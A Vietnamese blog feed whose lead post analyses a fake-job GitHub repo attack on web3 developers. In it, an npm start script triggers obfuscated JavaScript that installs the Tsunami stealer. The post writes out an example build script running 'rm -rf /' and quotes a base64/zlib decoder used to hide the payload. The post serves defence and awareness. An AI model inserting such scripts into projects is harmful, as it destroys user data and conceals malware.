Juno_okyo's Blog

Phân tích trường hợp bị hack khi chạy code từ GitHub

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 22 Nov 2024 12:46:00 +0000

Mấy hôm trước trên J2TEAM Community có một bài viết đề cập đến vấn đề “bị hack khi chạy code clone từ GitHub”. Bài viết nhanh chóng nhận được sự chú ý của thành viên trong nhóm.

Tóm tắt diễn biến:

Kẻ tấn công liên hệ qua LinkedIn, giới thiệu một công việc liên quan đến hỗ trợ phát triển dự án
Sau khi đồng ý, bạn ấy được thêm vào một repository private trên GitHub
Khi clone mã nguồn về và chạy lệnh khởi động, quá trình tấn công sẽ được kích hoạt

Phần dưới đây là những gì mình tìm hiểu thêm được về hình thức tấn công này.

Ai sẽ là mục tiêu của kẻ tấn công?

Bài viết trên J2TEAM Community không phải là trường hợp đầu tiên. Bằng một vài từ khóa tìm kiếm trên Google, mình tìm được bài viết sau trên LinkedIn:

Và một bài trên Reddit:

Dựa vào những bài viết ở trên, mình nhận thấy một số đặc điểm chung:

Mục tiêu chính là những lập trình viên làm việc trong lĩnh vực web3/blockchain
Nạn nhân được cấp quyền vào một private repo trên GitHub
Nạn nhân được thuyết phục chạy lệnh khởi động dự án hoặc build trên máy tính cá nhân

Bài viết từ Reddit cho thấy những dấu hiệu đặc trưng của Stealer - loại mã độc chuyên đánh cắp thông tin. Một vụ việc nổi tiếng gần đây bạn có thể biết là Stealer giả mạo game WuKong.

Thông tin phổ biến nhất mà Stealer thu thập là tài khoản và mật khẩu được lưu trữ trên trình duyệt. Với đối tượng là lập trình viên web3, mục tiêu chính của kẻ tấn công rất có thể là đánh cắp thông tin ví tiền điện tử, chẳng hạn như MetaMask.

Kỹ thuật tấn công

Tấn công thông qua Git Hook

Git hook là các tập lệnh tùy chỉnh được kích hoạt khi thực hiện các lệnh Git như commit, rebase, merge, push,… Mặc định, các hook này được lưu trong thư mục .git/hooks. Kẻ tấn công có thể lợi dụng Git hook để thực thi mã độc mỗi khi người dùng thực hiện một lệnh Git. Đây là một ví dụ.

Mặc định thì thư mục .git sẽ được đặt thuộc tính ẩn (Hidden), nên nếu bạn không cài đặt cho máy tính hiển thị thư mục ẩn thì sẽ không để ý đến nó.

Tuy nhiên, trong các trường hợp nạn nhân bị tấn công khi chạy lệnh như start hoặc build, các lệnh này thuộc về NPM chứ không liên quan trực tiếp đến Git. Vì vậy, chúng ta hãy đến với kiểu tấn công tiếp theo. Nhưng hãy nhớ: Bạn cũng cần cảnh giác với Git Hook!!!

Tấn công thông qua NPM Script

Với các repo GitHub ở trên, điểm chung là sẽ có 1 file package.json như này:

package.json là file kê khai thông tin ứng dụng thường thấy trong các ứng dụng NodeJS. Nó cho biết các thông tin cơ bản như tên, phiên bản cho đến những thông tin khác như thư viện phụ thuộc mà ứng dụng của bạn cần sử dụng. Bạn cũng có thể đăng ký các lệnh có thể sử dụng thông qua mục “scripts” trong file này.

Ví dụ, đây là một lệnh độc hại được giả mạo lệnh build:

{
  "scripts": {
    "start": "node app.js",
    "build": "rm -rf / && echo 'Malicious script executed!'"
  }
}

Nhưng thế này thì lộ liễu quá! Kẻ tấn công thường sẽ ẩn trong file JS và áp dụng các kỹ thuật obfuscation.

Trong phát triển phần mềm, obfuscation (làm rối mã) là hành động tạo ra mã nguồn hoặc mã máy mà con người hoặc máy tính khó hiểu được. Giống như việc làm rối trong ngôn ngữ tự nhiên, nó có thể sử dụng các biểu thức vòng vo không cần thiết để cấu thành các câu lệnh.
Lập trình viên có thể cố ý làm rối mã để che giấu mục đích của nó (bảo mật thông qua sự mơ hồ), logic của nó, hoặc các giá trị ngầm định được nhúng bên trong. Mục đích chính là ngăn chặn việc can thiệp, làm nản lòng các nỗ lực dịch ngược (reverse engineering), hoặc thậm chí tạo ra một câu đố hoặc thử thách mang tính giải trí cho người đọc mã nguồn.

Dựa trên mã nguồn của repo GitHub mà thành viên J2TEAM Community chia sẻ, mình mở package.json và thấy được đăng ký lệnh start như sau:

node server/app.js | react-scripts start

Ta thấy lệnh start này thực hiện 2 lệnh là node server/app.js và react-scripts start. Mình mở tiếp file app.js, thấy code khá bình thường. Mình suy đoán có thể mã độc nằm trong các file được require vào.

fs, path hay http đều là các thư viện sẵn có của NodeJS. Không có gì đáng ngờ. express, socket.io, config và mongoose thì là các thư viện phổ biến mình biết, nên có thể loại bỏ. js-chess-engine là một thư viện có 140 sao trên GitHub, không phổ biến, chúng ta cần để ý.

Mình chợt để ý tới dòng 15:

Thông thường dev sẽ khai báo hết các câu require ở trên đầu, mình liền kiểm tra file token này.

Nhìn mọi thứ rất bình thường đúng không? Nhưng mình chợt chú ý vào thanh cuộn ngang, có một đoạn code đã được đẩy ra rất xa bằng khoảng trắng (space).

Đây là một đoạn JavaScript đã bị làm rối (obfuscation). Chắc chắn là nó!

Mình sử dụng công cụ làm đẹp mã nguồn và kết hợp với ChatGPT để làm code “có thể đọc được” (readable) và diễn giải hành vi:

Trích đoạn bài viết trong J2TEAM Community:

- Khi clone về chạy thử thì cũng không thấy gì bất thường, thấy nó tự popup yêu cầu tải python về máy thì mình cũng chủ quan nghĩ rằng do bên phần mềm máy ảo yêu cầu nên accept luôn (máy ảo mình dùng là parallels desktop for Mac). Chạy source lên thì thấy game cũng khá chỉnh chu và có đầu tư [video 2], càng củng cố niềm tin của mình về ông khách này cho tới khi window báo lỗi

"Failed to get data from the clipboard (error-2147221040: OpenClipboard Failed)" [ảnh 3],

thì mình cũng bắt đầu nghi ngờ và check task manager - phần startup app phát hiện 1 tiến trình lạ tên là "Window Update Script" có status enable [ảnh 4].

Ta có thể nhận ra đoạn code JavaScript kia chính là code đã thực hiện tải Python, tạo file Window Update Script rồi thực thi nó. Đây là ảnh do bạn ấy cung cấp:

Theo như chia sẻ từ bạn La Vi Sar trên nhóm:

Đoạn Script đã được obfuscation (thủ thuật làm rối code) [ảnh 5] và thực thi bằng đoạn script sau:
\= lambda _ : import('zlib').decompress(import('base64').b64decode(__[::-1]))

Ta thấy kẻ tấn công sử dụng kết hợp Zlib (nén) và Base64 để che giấu.

Mã Python này sẽ làm gì? Dựa theo file bạn La Vi Sar cung cấp (codeshare. io/Q8zb1J), ta thấy các hành vi sau:

- Thêm đường dẫn vào danh sách loại trừ của Windows Defender

- Đăng ký khởi động cùng Windows, đặt tên “Runtime Broker” để ngụy trang

- Tải file

- Yêu cầu chạy với quyền Admin

- Các thư mục được truy cập:

%APPDATA%\Microsoft\Windows\Applications
%LOCALAPPDATA%\Microsoft\Windows\Applications
Thư mục temp

Dựa theo các từ khóa trong mã nguồn python thì mình tìm được nó chính là con malware được phân tích trong video này: https://www.youtube.com/watch?v=xoOfxz5w-p0

Mã độc mã code python trên sẽ tải về và thực thi trên máy bạn là malware Tsunami.

Tấn công thông qua Dependency

Ngoài việc chèn mã độc vào script, kẻ tấn công còn có thể khai thác dependency (thư viện phụ thuộc) độc hại. Những thư viện này được thêm vào mục dependencies hoặc devDependencies trong file package.json.

Hình thức tấn công này đặc biệt nguy hiểm bởi nó lợi dụng lòng tin của lập trình viên vào các thư viện bên thứ ba. Thậm chí, kẻ tấn công có thể:

Sử dụng thư viện phổ biến bị bỏ rơi: Chiếm quyền kiểm soát từ maintainer không còn duy trì thư viện, rồi chèn mã độc.
Tạo thư viện trùng tên: Đặt tên gần giống với một thư viện nổi tiếng, khiến lập trình viên vô tình tải nhầm (typosquatting).

Kết luận

Những hình thức tấn công qua Git hook, NPM script, hoặc dependency đều nhằm khai thác sự chủ quan của lập trình viên. Hãy luôn cẩn trọng khi làm việc với mã nguồn từ các nguồn không đáng tin cậy và duy trì thói quen kiểm tra kỹ lưỡng trước khi chạy bất kỳ lệnh nào trên máy cá nhân.

Khi nhận thấy các dấu hiệu bất thường, bạn nên ngừng ngay việc chạy mã và rà soát lại toàn bộ repository để phát hiện nguy cơ tiềm ẩn. Nếu có thể, hãy sử dụng các môi trường độc lập (sandbox) khi chạy lệnh nào đó.

Chúc mọi người an toàn!

Theo dõi mình để xem thêm các nội dung về công nghệ nhé!

J2TEAM phát triển công cụ 'check VAR' giúp kiểm tra sao kê MTTQ

juno_okyo@yahoo.com.vn (Juno_okyo) — Sat, 14 Sep 2024 21:34:00 +0000

Trong bối cảnh các vấn đề liên quan đến sao kê từ thiện đang thu hút sự chú ý lớn từ cộng đồng, "Check VAR sao kê" trở thành một công cụ quan trọng giúp kiểm tra lại các thông tin về giao dịch tài chính, đặc biệt là các khoản đóng góp từ thiện. Vậy "Check VAR sao kê" là gì và tại sao lại trở nên cần thiết trong thời điểm này?

Check VAR sao kê là gì?

Thuật ngữ "Check VAR" thường được biết đến trong bóng đá với nghĩa là Video Assistant Referee, giúp trọng tài kiểm tra lại các tình huống không rõ ràng. Tương tự như vậy, trong ngữ cảnh tài chính, "check VAR sao kê" có thể hiểu là việc kiểm tra kỹ lưỡng lại các thông tin sao kê tài khoản, nhằm đảm bảo tính minh bạch và chính xác của các giao dịch.

Đặc biệt, khi Uỷ ban Trung ương MTTQ Việt Nam (MTTQ) công bố các file sao kê liên quan đến việc ủng hộ đồng bào bị ảnh hưởng bởi cơn bão số 3 thông qua Ban Vận động Cứu trợ Trung ương, việc "check VAR sao kê" trở nên nóng hổi hơn bao giờ hết. Điều này giúp cộng đồng kiểm tra lại các số tiền ủng hộ từ thiện và chi tiêu một cách minh bạch, đồng thời loại bỏ các thắc mắc hoặc nghi ngờ không đáng có.

"Check VAR sao kê" không chỉ áp dụng trong ngữ cảnh từ thiện mà còn có thể hiểu là việc sử dụng công cụ và dữ liệu để kiểm tra tính chính xác trong các báo cáo tài chính khác. Điều này góp phần thúc đẩy minh bạch và sự tin tưởng trong các hoạt động tài chính của doanh nghiệp và tổ chức.

Công cụ Sao Kê VAR của J2TEAM

Ngay khi MTTQ công bố file sao kê đầu tiên, thống kê số tiền ủng hộ qua tài khoản Vietcombank từ ngày 1/9/2024 đến ngày 10/9/2024, thành viên Việt Thảo từ J2TEAM đã nhanh chóng xử lý và trích xuất thông tin từ file PDF, chuyển đổi thành định dạng CSV.

Tiếp nối công việc đó, các thành viên khác trong J2TEAM như Mạnh Tuấn (JUNO_OKYO) và Ngọc Chánh đã sử dụng file CSV này để phát triển trang web "Sao Kê VAR" (var.j2team.dev). Trang web này giúp mọi người dễ dàng tìm kiếm và tra cứu thông tin từ file sao kê của MTTQ một cách nhanh chóng và thuận tiện.

Sau đó, các dữ liệu thống kê số tiền ủng hộ qua số tài khoản Vietinbank từ ngày 10/9/2024 và qua số tài khoản BIDV từ ngày 1/9/2024 đến ngày 12/9/2024 cũng được các thành viên J2TEAM cập nhật cho trang web.

Công cụ Sao Kê VAR của J2TEAM không chỉ giúp mọi người dễ dàng tra cứu thông tin về các khoản đóng góp từ thiện mà còn góp phần đảm bảo tính minh bạch và tin tưởng trong cộng đồng. Thay vì phải tự mình kiểm tra hàng ngàn dòng sao kê, giờ đây người dùng có thể nhanh chóng tìm thấy thông tin cần thiết, tiết kiệm thời gian và loại bỏ những nghi ngờ không đáng có.

Việc minh bạch trong tài chính, đặc biệt là trong các hoạt động từ thiện, là rất quan trọng. Công cụ Sao Kê VAR của J2TEAM ra đời với mục tiêu hỗ trợ cộng đồng trong việc kiểm tra và giám sát các khoản đóng góp từ thiện. Hãy cùng trải nghiệm công cụ này và góp phần lan tỏa thông điệp minh bạch trong xã hội.

Thống kê tin nhắn Facebook xem ai nhắn tin với bạn nhiều nhất

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 02 Sep 2022 09:55:00 +0000

Facebook là một trong những mạng xã hội lớn nhất hiện nay. Các tương tác trên mạng xã hội này phần nào phản ánh mối quan hệ ngoài đời thực của chúng ta. Trong bài viết này, mình sẽ hướng dẫn các bạn cách thống kê tin nhắn Facebook (Messenger) để xem ai là người nhắn tin với bạn nhiều nhất.

Đầu tiên, các bạn hãy cài đặt tiện ích J2TEAM Security cho trình duyệt.

Sau khi cài đặt, các bạn nhấn vào biểu tượng của J2TEAM Security trên góc phải trình duyệt. Nếu không thấy biểu tượng thì các bạn xem ở đây:

Tiếp theo, các bạn nhấn vào menu Facebook Tools ở thanh bên trái > chọn Kount.

Các bạn chờ vài giây để công cụ thực hiện thống kê và hiển thị kết quả.

Thống kê tin nhắn nâng cao – Kount Pro

Ngoài phiên bản miễn phí, các bạn cũng có thể sử dụng Kount Pro – là công cụ thống kê tin nhắn Facebook nâng cao trong J2TEAM Security Premium.

Để sử dụng, đầu tiên các bạn thực hiện nâng cấp lên tài khoản Premium. Sau đó truy cập Thống kê tin nhắn từ thanh công cụ trên web.

Trong phiên bản nâng cao, bạn có thể xem kết quả với nhóm chat, những người không phải bạn bè cũng như các tài khoản đã vô hiệu hóa (deactivated). Đồng thời, số kết quả cũng không giới hạn như phiên bản miễn phí. Không những thế, các bạn còn có thể sắp xếp kết quả để xem ai nhắn tin với bạn ít nhất hoặc tìm kiếm người hoặc nhóm chat trong danh sách kết quả.

Ngoài ra, trong J2TEAM Security Premium cũng có rất nhiều tính năng hấp dẫn khác. Đây cũng là một cách để các bạn ủng hộ tác giả tiếp tục phát triển thêm nhiều tính năng hữu ích khác.

Cách xem thống kê Messenger trên điện thoại

Các bạn có thể làm theo phần hướng dẫn cài J2TEAM Security trên trình duyệt điện thoại. Sau đó sử dụng Kount như phiên bản trên máy tính.

Cách cài đặt J2TEAM Security cho trình duyệt

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 02 Sep 2022 08:33:00 +0000

J2TEAM Security là gì?

J2TEAM Security là một phần mở rộng (extension) dành cho trình duyệt Google Chrome và các trình duyệt dựa trên Chromium như Microsoft Edge, Brave, Vivaldi, Opera, Cốc Cốc,…

Tác giả của tiện ích này là Mạnh Tuấn (thường được biết tới với nickname JUNO_OKYO), trưởng nhóm của J2TEAM. Phát hành lần đầu từ năm 2016, tới nay tiện ích này đã có hơn 300.000 người dùng (tại thời điểm viết bài này) và nhận được hơn 20.000 lượt đánh giá trên Chrome Store với đánh giá trung bình 4.9/5 sao.

Nhờ tuân thủ theo các quy chuẩn trong việc phát triển phần mở rộng, J2TEAM Security đã được Google gán nhãn “Nổi bật” (Featured).

Hướng dẫn cài đặt J2TEAM Security

Để cài đặt, các bạn truy cập trực tiếp vào liên kết: https://chrome.google.com/webstore/detail/j2team-security/hmlcjjclebjnfohgmgikjfnbmfkigocc/

Hoặc tìm theo tên “J2TEAM Security” trên Chrome Store.

Sau đó, các bạn nhấn vào nút “Add to Chrome” (Thêm vào Chrome) để cài đặt.

Các bạn chờ vài giây để trình duyệt tải tiện ích, trang Cảm ơn sẽ hiện ra. Điều đó có nghĩa là chúng ta đã cài đặt thành công.

Tôi muốn cài J2TEAM Security cho Firefox?

Rất tiếc, vì vấn đề về các API mà Firefox hỗ trợ nên J2TEAM vẫn chưa phát hành phiên bản dành riêng cho trình duyệt Firefox.

J2TEAM Security cho trình duyệt Microsoft Edge

Mặc dù Edge có thể cài đặt và sử dụng các extension của Chrome, bạn hoàn toàn có thể cài đặt phiên bản dành riêng cho trình duyệt này bằng cách truy cập liên kết: https://microsoftedge.microsoft.com/addons/detail/j2team-security/nckdadddljhnbimojbhccmjhckkfaang

Tuy nhiên, phiên bản Edge thường sẽ cập nhật trễ hơn bên Chrome khoảng một tuần do đội ngũ Edge Store duyệt lâu hơn. Vì vậy mình vẫn khuyến khích các bạn dùng Edge cài đặt J2TEAM Security trực tiếp từ Chrome Store nhé!

Cách cài J2TEAM Security trên điện thoại

Để có trải nghiệm tốt nhất khi sử dụng tiện ích thì bạn nên dùng trên máy tính. Tuy nhiên, bạn hoàn toàn có thể cài đặt trên điện thoại và mình sẽ hướng dẫn bạn làm điều đó. Lưu ý đây là hướng dẫn cho Android!

Các bạn cài trình duyệt Kiwi Browser (một trình duyệt dựa trên Chromium).

Tiếp theo, các bạn mở lên và nhấn vào menu ở góc phải phía trên:

Chọn Extension:

Chọn “From store”:

Tìm J2TEAM Security và nhấn “Add to Chrome” giống như cài đặt trên máy tính.

Ngoài ra, các bạn cũng có thể sử dụng trình duyệt Yandex và cài đặt extension tương tự như trình duyệt Kiwi.

Lưu ý sau khi cài đặt J2TEAM Security

Sau khi cài đặt, mặc định Chrome sẽ ẩn biểu tượng của extension mới. Để thuận tiện cho việc truy cập và sử dụng các tính năng của J2TEAM Security, các bạn hãy làm như sau:

Các bạn nhấn vào biểu tượng mảnh ghép ở cạnh hình đại diện (nếu bạn đang đăng nhập), thường nó là biểu tượng thứ 3 từ phải qua. Bạn sẽ thấy một pop-up nhỏ hiển thị danh sách toàn bộ extension mà bạn đã cài đặt. Các bạn tìm J2TEAM Security và nhấn vào biểu tượng Ghim ở bên cạnh. Như vậy là biểu tượng của extension sẽ luôn hiển thị trên góc phải trình duyệt (cạnh thanh địa chỉ) và bạn có thể truy cập bất cứ lúc nào.

Cập nhật phiên bản mới như nào?

Mặc định thì Chrome sẽ tự động cập nhật phiên bản mới của mọi extension sau khi khởi động lại trình duyệt. Nhưng mình biết nhiều bạn dùng laptop ngày nay thường chỉ để chế độ Sleep mà không tắt máy và các ứng dụng.

Vậy để cập nhật phiên bản mới cho extension thì bạn chỉ cần tắt trình duyệt đi và mở lại là được. Mẹo: bạn cũng có thể gõ lệnh sau lên thanh địa chỉ: chrome://restart

Giới thiệu J2TEAM Security Premium

Bạn luôn có thể sử dụng J2TEAM Security miễn phí. Nếu có điều kiện, hãy cân nhắc nâng cấp lên phiên bản Premium để sử dụng thêm nhiều tính năng hấp dẫn cũng như ủng hộ tác giả tiếp tục phát triển nhiều tính năng hữu ích hơn nhé!

Bạn có thể xem bảng so sánh tính năng trong hai phiên bản tại đây: https://j2team.org/

Sửa lỗi font tiếng Việt trên Medium

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 02 Sep 2022 06:38:00 +0000

Medium là một trong những nguồn thông tin lớn hiện nay, tại đây có rất nhiều các bài viết chất lượng. Tuy nhiên, khi đọc các bài viết tiếng Việt trên Medium sẽ khá khó chịu khi mà tình trạng lỗi font tới giờ vẫn chưa được Medium khắc phục.

Trong bài viết này, mình sẽ hướng dẫn các bạn một cách đơn giản để sửa lỗi font tiếng Việt trên Medium, giúp tăng trải nghiệm khi đọc bài viết.

Rất đơn giản, các bạn chỉ cần cài đặt tiện ích J2TEAM Security cho trình duyệt. Đây là một tiện ích dành cho trình duyệt Google Chrome hoặc các trình duyệt dựa trên Chromium như Microsoft Edge, Brave, Vivaldi, Opera, Cốc Cốc,…

Cài Đặt

Sau khi cài đặt, bạn có thể vào đọc các bài viết tiếng Việt trên Medium mà không còn phải bực mình vì font chữ nữa.

Đây là trước khi cài J2TEAM Security:

Còn đây là kết quả:

Tiện ích này hoạt động như nào?

Để sửa lỗi font, tiện ích này đã ghi đè lại CSS của trang web và thay thế font ban đầu của Medium thành một font có hỗ trợ tiếng Việt. Cụ thể là font Lora.

Nếu thấy tiện ích này có tác dụng thì hãy chia sẻ với bạn bè, để lại đánh giá trên Chrome Store hoặc cân nhắc sử dụng phiên bản Premium với nhiều tính năng hơn để ủng hộ tác giả nhé!

Cảm ơn các bạn!

Tớ đã lấy lại fanpage sau 6 năm như thế nào?

juno_okyo@yahoo.com.vn (Juno_okyo) — Sun, 21 Mar 2021 14:59:00 +0000

Mất fanpage chỉ vì bị ép dùng tên thật

Đúng vậy, bạn không đọc nhầm đâu. Vào năm 2015, Facebook bắt đầu ra chính sách yêu cầu mọi tài khoản trên Facebook sử dụng tên thật. Khi ấy, tài khoản Facebook của tớ vẫn đang sử dụng tên hiển thị là nickname như trên Blog này: JUNO_OKYO (tất nhiên là không có dấu gạch dưới vì nó là ký tự không hợp lệ trên Facebook).

Chuyện rắc rối diễn ra từ đây, ngày ấy tớ còn đang giữ kín tên thật, kể cả trên blog cá nhân các bạn cũng sẽ thấy tớ chưa nhắc về tên mình bao giờ. Vì muốn tiếp tục giữ điều đó, tớ đã đưa ra một quyết định dại dột… sử dụng photoshop để làm giấy tờ gửi Facebook khi họ yêu cầu xác minh lại tên hiển thị như những người dùng khác.

Có nhiều người đã thành công khi làm vậy, chỉ để giữ thứ tự hiển thị tên cho đúng với tên người Việt (hồi xưa Facebook chưa có tùy chọn hiển thị họ trước hay tên trước). Tuy nhiên, với một cái tên nghe khá “uy tín” như JUNO OKYO thì tất nhiên là Facebook nhận ra ngay đây là giấy tớ không hợp lệ rồi…

Và kết quả là tài khoản Facebook cá nhân của tớ không thể khôi phục lại. Tệ hơn, nó lại là tài khoản duy nhất có quyền admin trên fanpage Juno_okyo’s Blog.

Không thể làm gì được, tớ đành phải chuyển sang sử dụng một tài khoản Facebook khác cho tới bây giờ, đồng thời công khai tên thật của người đứng sau nickname JUNO_OKYO, đứng sau cái blog mà các bạn đang đọc trong suốt nhiều năm qua: Mạnh Tuấn. Hai người khác cũng đang quản lý fanpage cùng tớ là Neo và anh Killer thì đang ở vị trí editor, nên không có quyền để thêm tài khoản mới vào làm quản trị viên.

Fanpage Juno_okyo’s Blog gần như hoạt động ít đi kể từ thời điểm đó, điều mà giờ các bạn mới biết đó là các bài đăng trên fanpage sau khi tớ mất tài khoản Facebook cũ đều do Neo hoặc anh Killer giúp tớ đăng lên.

Vì nhờ nhiều cũng bất tiện, fanpage mới là JUNO_OKYO cũng được tạo ra và tiếp tục hoạt động thường xuyên hơn kể từ thời điểm đấy.

6 năm sau, chuyện bất ngờ xảy ra

Mấy năm trước tớ cũng thỉnh thoảng thử đăng nhập lại tài khoản cũ, nhưng vẫn kẹt ở trang checkpoint và không thể nào vào được.

3 hôm trước, trong lúc đang ngồi làm việc trên công ty, tớ nhận được một email từ Facebook với tiêu đề “Đã nhận được yêu cầu vô hiệu hóa”.

Lúc đầu tớ nghĩ là ai đó định chơi tài khoản hiện tại đang dùng của tớ, nhưng không phải, khi nhìn kỹ hơn địa chỉ nhận thì đó là địa chỉ email của tài khoản cũ. Vì vốn không còn truy cập được. Tớ cũng chẳng bận tâm cho lắm và tiếp tục làm việc.

Tối trở về, trong lúc vào kiểm tra hộp thư email, tớ nhìn lại email đó. Chợt nghĩ gì đó rồi mở một tab mới, vào Facebook, đăng xuất khỏi tài khoản hiện tại. Thử đăng nhập lại vào tài khoản cũ, trang checkpoint lại hiện ra.

Lạ quá, lần này có điều gì đó khác so với những lần thử trước đây. Một tùy chọn khả thi đã xuất hiện: xác nhận mã qua email. Tớ nhanh chóng nhập địa chỉ email vào, Enter và chờ đợi. Chỉ vài giây sau đó, một email chứa mã xác minh được gửi tới. Tớ nhập nó vào Facebook và nhấn Enter. Thành công rồi!

Facebook hỏi lại lần đăng nhập gần nhất để xem có phải là tớ không. Các bạn biết đấy, lần gần nhất là… khoảng 7 năm trước, từ hồi 2015.

Tớ vào và kiểm tra lại fanpage Juno_okyo’s Blog. Nó vẫn còn đây, mốc meo sau một khoảng thời gian quá dài không còn ai chăm sóc. Tớ thêm tài khoản hiện tại đang dùng vào vị trí admin, để khi chuyện này có xảy ra thêm lần nữa thì ít nhất là lần này tớ đã có sự chuẩn bị trước. Không rơi vào trường hợp bất khả kháng như ngày xưa nữa.

Nếu các bạn cũng có một tài khoản nào đó vì vụ “ép sử dụng tên thật” của Facebook ngày xưa mà mất quyền truy cập, hãy thử đăng nhập lại sau khi đọc bài viết này nhé. Biết đâu bạn cũng có thể lấy lại những thứ đã mất ngày xưa, với tớ thì là một cái fanpage, nhưng có thể với bạn thì còn nhiều điều khác, những tin nhắn chưa kịp trả lời, những người bạn cũ hay những nhóm, fanpage đã tham gia, đã like nhưng không thể nhớ mà chuyển qua tài khoản mới.

Chúc bạn nhiều may mắn!

Xem ai đang nói xấu bạn bằng SMCC

juno_okyo@yahoo.com.vn (Juno_okyo) — Thu, 23 Jan 2020 02:00:00 +0000

SMCC là cái gì?

Mấy năm trước trong một lần đi tham dự sự kiện với mấy anh em cùng công ty, tớ vô tình nghe được bài nói của anh Lê Công Thành – CEO của InfoRe về chủ đề xử lý dữ liệu lớn (Big Data). Trong bài nói anh ấy có nhắc tới một công cụ của công ty là SMCC (smcc.vn).

Đây là một công cụ lắng nghe xã hội (social listening), nó thu thập dữ liệu từ rất nhiều nguồn như radio, tv, báo điện tử, diễn đàn, mạng xã hội, báo giấy,… và phân tích dữ liệu để cung cấp kết quả cho bạn biết mọi người đang bàn tán, nói gì về chủ đề mà bạn quan tâm.
Read More

Một kẻ lừa đảo chôm của tui $500 và cuối cùng phải cầu xin tui đừng nói với phụ huynh của hắn

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 13 Jan 2020 13:47:00 +0000

Vào năm 2012, tui giành chiến thắng trong một cuộc thi SysAdmin của Solar Winds, phần thưởng là thẻ quà tặng trị giá $500 từ Apple Store.

Sau đó, tui đã nhiều lần cố gắng sử dụng hoặc bán chúng nhưng vì hiện tui không sống ở Mỹ nên không thể, nỗ lực cuối cùng là bán thông qua reddit.
Read More

Thủ thuật hủy theo dõi hàng loạt khỏi email quảng cáo

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 23 Dec 2019 10:17:00 +0000

Nhiều khi lướt web chúng ta cũng hay đăng ký mấy cái Email newsletter (nhận thông báo bài viết qua email). Nếu gặp mấy trang hay thì không nói, nhưng đôi lúc chúng ta vô tình đăng ký vào mấy trang spam, quảng cáo thì cũng mệt phết.
Read More

Cách làm trang chuyển hướng khỏi Blog cho Blogspot (Blogger)

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 23 Dec 2019 09:01:00 +0000

Nhân tiện có bạn hỏi cách làm trang chuyển tiếp khi click vào link cho Blogspot nên tớ viết bài hướng dẫn luôn vì tớ cũng mới làm trang như vậy cho blog này gần đây. Các bạn có thể nhấn thử vào liên kết này để xem demo: https://bit.ly/j2team-security
Read More

Hướng dẫn thêm nút đọc bài viết vào trang web của bạn

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 22 Nov 2019 09:23:00 +0000

Khoảng mấy tháng nay nếu bạn đọc các bài viết trên blog của JUNO_OKYO hẳn sẽ nhận ra là có thêm một nút Đọc bài viết ở đầu mỗi bài. Chỉ với một cái nút mới này thôi mà các bài viết sẽ trở thành audio blog, giúp độc giả có thể vừa nghe bài viết mà vừa làm việc khác cùng lúc.

Vậy làm thế nào để thêm nút Đọc bài viết vào blog hay trang web của bạn? Trong bài viết này tớ sẽ hướng dẫn các bạn làm điều đó.
Read More

Phỏng vấn với một nhà phát triển web tại Pornhub

juno_okyo@yahoo.com.vn (Juno_okyo) — Tue, 22 Oct 2019 15:34:00 +0000

Dù lập trường của bạn về nội dung khiêu d.â.m là gì đi nữa thì tôi tin là chúng ta không thể phủ nhận tác động to lớn của ngành công nghiệp này đã thúc đẩy nền tảng web tiến về phía trước. Từ việc đẩy các giới hạn video của trình duyệt đến việc chèn Quảng Cáo qua WebSocket để trình chặn Quảng Cáo không thể nhận diện. Là một nhà phát triển thì bạn phải thật khéo léo để thích nghi với những biến đổi của môi trường web.

Gần đây tôi đã may mắn được phỏng vấn một nhà phát triển web tại trang web dành cho người lớn phổ biến nhất: P.***.h.u.b. Hãy cùng tìm hiểu thêm về công nghệ, cách cải thiện Web API và chúng hoạt động trên các trang web người lớn như thế nào nhé!
Read More

10 điều bạn có thể làm được mà chỉ cần HTML

juno_okyo@yahoo.com.vn (Juno_okyo) — Sun, 13 Oct 2019 22:34:00 +0000

Ngày nay, bạn có thể tìm một thư viện JS cho mọi tính năng mà bạn cần trong một trang web. Nhưng nhiều khi điều đó trở thành sự lạm dụng quá mức khi mà HTML cũng có thể làm được điều tương tự. Hơn nữa, việc sử dụng thư viện JS thừa thãi sẽ làm chậm trang web của bạn, ảnh hưởng tới trải nghiệm người dùng.

Bài viết này liệt kê những thứ mà có thể bạn chưa biết là chúng hoàn toàn có thể thực hiện được chỉ với HTML.
Read More

Lotus: Ngày đầu trải nghiệm và đánh giá của tớ về mạng xã hội này

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 20 Sep 2019 08:20:00 +0000

Mấy hôm nay trên J2TEAM Community thảo luận rầm rộ quá, nên tớ cũng tò mò tải app về dùng thử.

Bài viết này chia sẻ cảm nhận cá nhân của JUNO_OKYO sau một ngày trải nghiệm, viết dưới góc độ một lập trình viên nên chỉ toàn soi bug thôi. Hi vọng team Lotus đọc được những góp ý này của tớ, hehe!
Read More

Project Naptha: Công cụ giúp sao chép & xóa văn bản từ hình ảnh

juno_okyo@yahoo.com.vn (Juno_okyo) — Fri, 13 Sep 2019 07:16:00 +0000

Bấy lâu nay trong quá trình sử dụng máy tính, đã bao giờ bạn rơi vào trường hợp bắt gặp một hình ảnh bên trong chứa một câu trích dẫn hay, hoặc một liên kết, hoặc bất cứ điều gì là văn bản mà bạn cảm thấy muốn copy chúng để chia sẻ với bạn bè hoặc chỉ đơn giản là lưu lại vào các file txt?

Nếu bạn đã từng như vậy, thì hôm nay JUNO_OKYO sẽ giới thiệu với bạn một công cụ cực kỳ hữu dụng: Project Naptha.
Read More

Milestone: Cách tạo định dạng bài đăng đang hot trên Facebook

juno_okyo@yahoo.com.vn (Juno_okyo) — Mon, 09 Sep 2019 01:52:00 +0000

Milestone là một định dạng bài đăng đặc biệt trên Fan Page, bằng cách sử dụng định dạng này, người theo dõi page của bạn sẽ bị chú ý hơn khi nhìn thấy trên News Feed. Hãy tận dụng mẹo nhỏ này để tăng tương tác cho Fan Page của bạn nhé!
Read More

2 ngày không Facebook và ứng dụng Android đầu tay (J2TEAM QR Code)

juno_okyo@yahoo.com.vn (Juno_okyo) — Thu, 29 Aug 2019 01:55:00 +0000

